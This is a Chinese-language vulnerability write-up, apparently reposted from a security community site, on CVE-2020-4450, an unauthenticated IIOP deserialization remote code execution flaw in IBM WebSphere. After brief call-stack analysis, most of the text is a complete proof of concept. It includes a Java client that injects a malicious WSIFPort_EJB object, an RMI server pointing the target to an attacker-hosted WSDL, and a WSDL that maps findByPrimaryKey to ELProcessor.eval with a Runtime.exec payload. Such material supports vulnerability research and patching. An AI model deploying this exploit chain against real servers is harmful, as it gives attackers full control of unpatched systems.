WebSphere 远程代码执行漏洞浅析(CVE-2020-4450)
2020-09-17 12:25:00 Author: xz.aliyun.com(查看原文) 阅读量:601 收藏

漏洞简介

WebSphere是IBM的软件平台,它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。2020年6月8日,IBM官方发布了WebSphere Application Server(WAS)中的远程代码执行(CVE-2020-4450)漏洞的通告,此漏洞由IIOP协议上的反序列化恶意对象造成,未经身份认证的攻击者可以通过IIOP协议远程攻击WAS服务器,在目标服务端执行任意代码,获取目标系统权限。

漏洞分析

WAS对于IIOP的数据由com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request方法被处理,在处理过程中,当ServiceContext对象不为空时,com.ibm.ws.Transaction.JTS.TxInterceptorHelper#demarshalContext被调用,进入反序列化的执行流,在调用过程中,最终调用com.ibm.rmi.io.IIOPInputStream#invokeObjectReader通过反射调用readObject方法进行反序列化,反序列化执行流如下:

readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:90, NativeMethodAccessorImpl (sun.reflect)
invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
invoke:508, Method (java.lang.reflect)
invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
read_value:787, CDRReader (com.ibm.rmi.iiop)
read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
read_value:664, AnyImpl (com.ibm.rmi.corba)
read_any:467, CDRReader (com.ibm.rmi.iiop)
read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
……
dispatch:508, ServerDelegate (com.ibm.CORBA.iiop)

ZDI的文章里,找到了一个org.apache.wsif.providers.ejb.WSIFPort_EJB.class,该类的readObject方法中存在JNDI注入逻辑,代码执行流如下:

lookup:150, RegistryContext (com.sun.jndi.rmi.registry)
lookup:217, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:161, DelegateContext (org.apache.aries.jndi)
lookup:428, InitialContext (javax.naming)
getEJBObject:166, EntityHandle (com.ibm.ejs.container) readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)

到此,进入核心利用点,在通过JNDI的lookup方法获得对应的EJBHome实例的时候,是通过environment中定义的ObjectFactory的具体实现类对应获得工厂实例,然后通过对应工厂getObjectInstance方法创建EJBHome实例,这里修改environment变量中的java.naming.factory.object属性值为org.apache.wsif.naming.WSIFServiceObjectFactory。代码执行流如下:

getObjectInstance:138, WSIFServiceObjectFactory (org.apache.wsif.naming), WSIFServiceObjectFactory.java
getObjectInstanceViaContextDotObjectFactories:167, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstanceViaContextDotObjectFactories:125, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstance:109, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstance:62, OSGiObjectFactoryBuilder (org.apache.aries.jndi), OSGiObjectFactoryBuilder.java
getObjectInstance:311, NamingManager (javax.naming.spi), NamingManager.java
decodeObject:511, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
lookup:150, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java

之所以修改为该工厂类,是因为该工厂类的getObjectInstance方法的奇妙,该方法调用了WSIF的流程,而其中需要的属性值是通过注入的Reference对象赋值。从而引入自定义的wsdl文件,通过wsdl文件可以将接口方法映射到其他的具体实现中,改变具体接口的执行流;并且可以对className赋值使其返回满足利用条件的EJBHome实例。

具体要实现的核心目的就是返回一个EJBHome实例,通过自定义wsdl文件映射EJBHome的findByPrimaryKey方法(EJB规范)到其他类的方法中,比如javax.el.ELProcessor的eval方法,从而实现代码执行。代码执行栈如下:

eval:57, ELProcessor (javax.el), ELProcessor.java
invoke0:-1, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java
invoke:90, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java
invoke:55, DelegatingMethodAccessorImpl (sun.reflect), DelegatingMethodAccessorImpl.java
invoke:508, Method (java.lang.reflect), Method.java
executeRequestResponseOperation:1208, WSIFOperation_Java (org.apache.wsif.providers.java), WSIFOperation_Java.java
invoke:311, WSIFClientProxy (org.apache.wsif.base), WSIFClientProxy.java
findByPrimaryKey:-1, $Proxy82 (com.sun.proxy), Unknown Source



POC

TEST
public class Test {
    public static void main(String[] args) throws Exception {
        Properties env = new Properties();
        env.put(Context.PROVIDER_URL, "iiop://169.254.0.117:2809");
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");

        InitialContext context = new InitialContext(env);
        context.list("");

        Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
        f_defaultInitCtx.setAccessible(true);
        WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);

        Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
        f_context.setAccessible(true);
        CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);

        Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
        f_corbaNC.setAccessible(true);
        _NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);

        Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
        f__delegate.setAccessible(true);
        ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);

        Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
        f_ior.setAccessible(true);
        IOR ior = (IOR) f_ior.get(clientDelegate);

        Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
        f_orb.setAccessible(true);
        ORB orb = (ORB) f_orb.get(clientDelegate);

        GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
        Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);
        getConnection.setAccessible(true);
        Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");
        Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
        setConnectionContexts.setAccessible(true);

        ArrayList v4 = new ArrayList();

        WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);

        Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
        fieldEjbObject.setAccessible(true);
        fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());

        CDROutputStream outputStream = ORB.createCDROutputStream();
        outputStream.putEndian();
        Any any = orb.create_any();
        any.insert_Value(wsifPort_ejb);
        PropagationContext propagationContext = new PropagationContext(0,
                new TransIdentity(null,null, new otid_t(0,0,new byte[0])),
                new TransIdentity[0],
                any);
        PropagationContextHelper.write(outputStream,propagationContext);
        byte[] result = outputStream.toByteArray();
        ServiceContext serviceContext = new ServiceContext(0, result);
        v4.add(serviceContext);
        setConnectionContexts.invoke(connection, v4);
        context.list("");
    }

}
class EJSWrapperS extends EJSWrapper {
    @Override
    public Handle getHandle() throws RemoteException {
        Handle var2 = null;
        try {
            SessionHome sessionHome = new SessionHome();
            J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");
            Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
            j2eeName.setAccessible(true);
            j2eeName.set(sessionHome, j2EEName);
            Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");
            jndiName.setAccessible(true);
            jndiName.set(sessionHome, "rmi://169.254.0.117:1099/poc");
            Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
            BeanId beanId = new BeanId(sessionHome, key, true);
            BeanMetaData beanMetaData = new BeanMetaData(1);
            beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
            Properties initProperties = new Properties();
            initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");
            Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);
            c.setAccessible(true);
            var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return var2;
    }
}
RMI Server
public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String) null, (String) null);
        ref.add(new StringRefAddr("wsdlLoc", "http://169.254.0.117:80/poc.wsdl"));
        ref.add(new StringRefAddr("serviceNS", null));
        ref.add(new StringRefAddr("serviceName", null));
        ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));
        ref.add(new StringRefAddr("portTypeName", "Gadget"));
        ref.add(new StringRefAddr("preferredPort", "JavaPort"));
        ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("poc", referenceWrapper);

    }
}
wsdl文件
<?xml version="1.0" ?>

<definitions targetNamespace="http://wsifservice.addressbook/"
             xmlns:tns="http://wsifservice.addressbook/"
             xmlns:xsd="http://www.w3.org/1999/XMLSchema"
             xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
             xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
             xmlns="http://schemas.xmlsoap.org/wsdl/">

    <!-- type defs -->

    <!-- message declns -->
    <message name="findByPrimaryKeyRequest">
        <part name="el" type="xsd:string"/>
    </message>

    <message name="findByPrimaryKeyResponse">
        <part name="counterObject" type="xsd:object"/>
    </message>

    <!-- port type declns -->
    <portType name="Gadget">
        <operation name="findByPrimaryKey">
            <input message="tns:findByPrimaryKeyRequest"/>
            <output message="tns:findByPrimaryKeyResponse"/>
        </operation>
    </portType>

    <!-- binding declns -->
    <binding name="JavaBinding" type="tns:Gadget">
        <java:binding/>
        <format:typeMapping encoding="Java" style="Java">
            <format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
            <format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>
        </format:typeMapping>
        <operation name="findByPrimaryKey">
            <java:operation
                methodName="eval"
                parameterOrder="el"
                methodType="instance"
                returnPart="counterObject"
            />
        </operation>
    </binding>

    <!-- service decln -->
    <service name="GadgetService">
        <port name="JavaPort" binding="tns:JavaBinding">
            <java:address className="javax.el.ELProcessor"/>
        </port>
    </service>

</definitions>

思考

  • 对EJB规范的理解可以对分析事半功倍。

参考


文章来源: http://xz.aliyun.com/t/8248
如有侵权请联系:admin#unsafe.sh